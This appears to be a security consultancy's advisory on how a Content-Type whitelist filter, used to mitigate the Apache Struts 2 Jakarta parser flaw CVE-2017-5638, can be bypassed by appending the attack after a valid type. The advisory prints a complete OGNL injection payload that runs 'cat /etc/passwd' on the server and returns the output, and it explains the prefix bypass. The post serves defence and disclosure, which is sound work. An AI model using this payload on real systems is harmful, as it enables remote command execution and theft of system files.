by

Pitfalls of Content-Type Filtering for Apache Struts 2 Vulnerability

Pitfalls of Content-Type Filtering for Apache Struts 2 Vulnerability CVE-2017-5638

 

ProCheckUp has worked with several clients throughout the process of finding, fixing and validating the Apache Struts Jakarta Multipart parser vulnerability since the issue was reported as CVE-2017-5638 in March. Several recommendations have been made by Apache with regard to mitigating/fixing this issue, some of which include:

 

Most recently, ProCheckUp worked with a client who had implemented the last recommendation listed above (implementing a servlet filter which will validate Content-Type headers and throw away suspicious values).

Initially, it appeared that this mitigation had been successful, as scanning tools (for example, Nessus/Qualys) including the popular ‘Struts-pwn.py’ script all reported the affected site as Not Vulnerable/no longer detected the issue. However, a more manually-driven investigation started to show that the Content-Type header checks may only partially validate the contents. For example, it appeared that the filter worked on a whitelist-based approach whereas only specific content-type headers were accepted. For example, using the GET request method (which should not require any content-type headers) to fetch a test login page; it was possible to submit a GET request with a valid content-type, such as text/xml, where it can be seen that the login page is successfully returned – shown in the screenshot below.

 

However, should an invalid/non-whitelisted content-type header be submitted (for example Content-Type: blabla/blabla) an error page is returned – as shown in the screenshot below.

 

However, whilst only specific content-types were accepted, the filter for this appeared to start at the beginning of the content-type header and stop once a white-listed content-type had been identified – completely ignoring the rest of the content-type header. For example a content-type header of:

Content-Type: blablablatext/xml

Was not accepted and resulted in a 200 OK response with an error message – please see the screenshot below:

However, a content type of:

Content-Type: text/xmlblablabla

Was accepted resulting in a 200 OK response and the application login (please see the screenshot below):

Using this weakness, it was possible to append POC attack strings to the end of a valid content-type header (for example text/xml which was accepted by the application). Our client informed us that they had checked the mitigation internally with the POC content-type header outlined by Qualys at the following URL and had observed an unsuccessful result: https://threatprotect.qualys.com/2017/03/08/apache-struts-jakarta-multipart-parser-remote-code-execution-vulnerability/?_ga=1.133363662.1793897493.1489070491

The POC shown at the Qualys URL listed above uses the following Content-Type header and is very similar to the payload content-type header that the popular ‘struts-pwn.py’ script uses for detection:

 Content-Type:%{(#nike=\'multipart/form-data\').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[\'com.opensymphony.xwork2.ActionContext.container\']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=\'cat /etc/passwd\').(#iswin=(@java.lang.System@getProperty(\'os.name\').toLowerCase().contains(\'win\'))).(#cmds=(#iswin?{\'cmd.exe\',\'/c\',#cmd}:{\'/bin/bash\',\'-c\',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

However, as previously determined the above payload would not work against our client site as the mitigation in-place requires the payload start with a valid, and accepted, Content-Type header. Therefore, by altering the POC payload above very slightly (just by starting with a valid Content-Type header), it can be seen that the payload command (whoami) has been successfully executed:

ProCheckUp therefore recommends that their clients implement the third recommended Apache option (validate Content-Type) with great care and recursive testing. This is of particular note in consideration of the vulnerability detail outlined in https://struts.apache.org/docs/s2-046.html where ‘Content-Disposition’ and ‘Content-Length’ headers are identified as potential attack vectors and ‘Content-Type’ filtering alone would not detect and prevent successful exploitation. In the first instance, it is recommended by ProCheckUp that the Apache remedial advice of upgrading to a stable, secure version of Struts be taken by our clients as soon as this is feasible.